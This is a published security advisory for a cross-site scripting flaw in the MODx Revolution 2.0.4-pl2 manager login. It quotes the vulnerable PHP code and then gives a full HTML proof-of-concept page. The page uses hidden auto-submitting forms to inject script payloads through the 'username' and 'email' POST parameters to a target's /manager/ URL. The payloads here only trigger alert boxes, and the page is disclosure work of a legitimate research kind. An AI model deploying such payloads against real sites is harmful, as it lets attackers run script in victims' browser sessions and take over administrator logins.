<!--

 Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


 Vendor: MODx, LLC.
 Product web page: http://www.modxcms.com
 Affected version: 2.0.4-pl2 (public launch 2)

 Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
 with custom code and helps you build sites faster and maintain them with ease. With Revolution
 you'll leverage the best things to come around since MVC and Active Record.

 Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
 the "username" and "email" parameters via POST method in login.php script at the manager
 login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
 code in a user's browser session.


 #############################################################
 -------------------------------------------------------------
 /var/html/www/manager/controllers/default/security/login.php:
 -------------------------------------------------------------

 25:   /* handle login */
 26:   if (!empty($_POST['login'])) {
 27:       $validated = true;
 28:
 29:       $user = $modx->getObject('modUser',array(
 30:           'username' => $_POST['username'],
 31:       ));

 ...

 71:   } else if (!empty($_POST['forgotlogin'])) {
 72:       $c = $modx->newQuery('modUser');
 73:       $c->select(array('modUser.*','Profile.email','Profile.fullname'));
 74:       $c->innerJoin('modUserProfile','Profile');
 75:       $c->where(array(
 76:           'Profile.email' => $_POST['email'],
 77:       ));

 -------------------------------------------------------------


 Tested on: Fedora 10 (Cambridge)
            Apache 2.2.14
            PHP 5.2.10
            MySQL 5.0.88

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 Advisory ID: ZSL-2010-4982
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
 Vendor Advisory URL: http://bugs.modx.com/issues/2918

 05.12.2010


 PoC:

-->


<html>
<head>

<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>
<link rel="Shortcut Icon" href="http://www.zeroscience.mk/favicon.ico" type="image/x-icon">

</head>

<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">

<br /><br /><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3>
</font></center>

<script type="text/javascript">

function zsl_user()
{
  document.forms["modx-login-form"].submit();
}

function zsl_mail()
{
  document.forms["modx-fl-form"].submit();
}

</script>

<div id="The Form Of The Ninja" style="visibility:hidden">

<form
action       = "http://example.com/manager/"
id           = "modx-login-form"
enctype      = "application/x-www-form-urlencoded"
name         = "hack"
method       = "post"
>

<input
type         = "hidden"
name         = "login_context"
value        = "mgr"
/>

<input
type         = "hidden"
name         = "modahsh"
value        = ""
/>

<input
type         = "hidden"
name         = "returnUrl"
value        = "/manager/"
/>

<input
type         = "text"
id           = "modx-login-username"
name         = "username"
tabindex     = "1"
autocomplete = "on"
class        = "x-form-text x-form-field"
value        = '"><script>alert("username param XSSed!")</script>'
/>

<input
type         = "password"
id           = "modx-login-password"
name         = "password"
tabindex     = "2"
autocomplete = "on"
class        = "x-form-text x-form-field"
/>

<input
type         = "checkbox"
id           = "modx-login-rememberme"
name         = "rememberme"
tabindex     = "3"
autocomplete = "on"
checked      = "checked"
class        = "x-form-checkbox x-form-field"
value        = "1"
/>

<input
type         = "hidden"
name         = "login"
value        = "1"
/>

</div>

<br /><br />
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"><center><h3>1. Exploit "username" parameter!
<h3></font></b></a></center></form>

<div id="The Form Of The 2nd Ninja" style="visibility:hidden">

<form
action       = "http://example.com/manager/"
id           = "modx-fl-form"
enctype      = "application/x-www-form-urlencoded"
name         = "hack"
method       = "post"
>

<input
type         = "text"
id           = "modx-login-email"
name         = "email"
class        = "x-form-text x-form-field"
value        = '"><script>alert("email param XSSed!")</script>"'
/>

</div>

<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"><center><h3>2. Exploit "email" parameter!
<h3></font></b></a></center></form>

</body>
</html>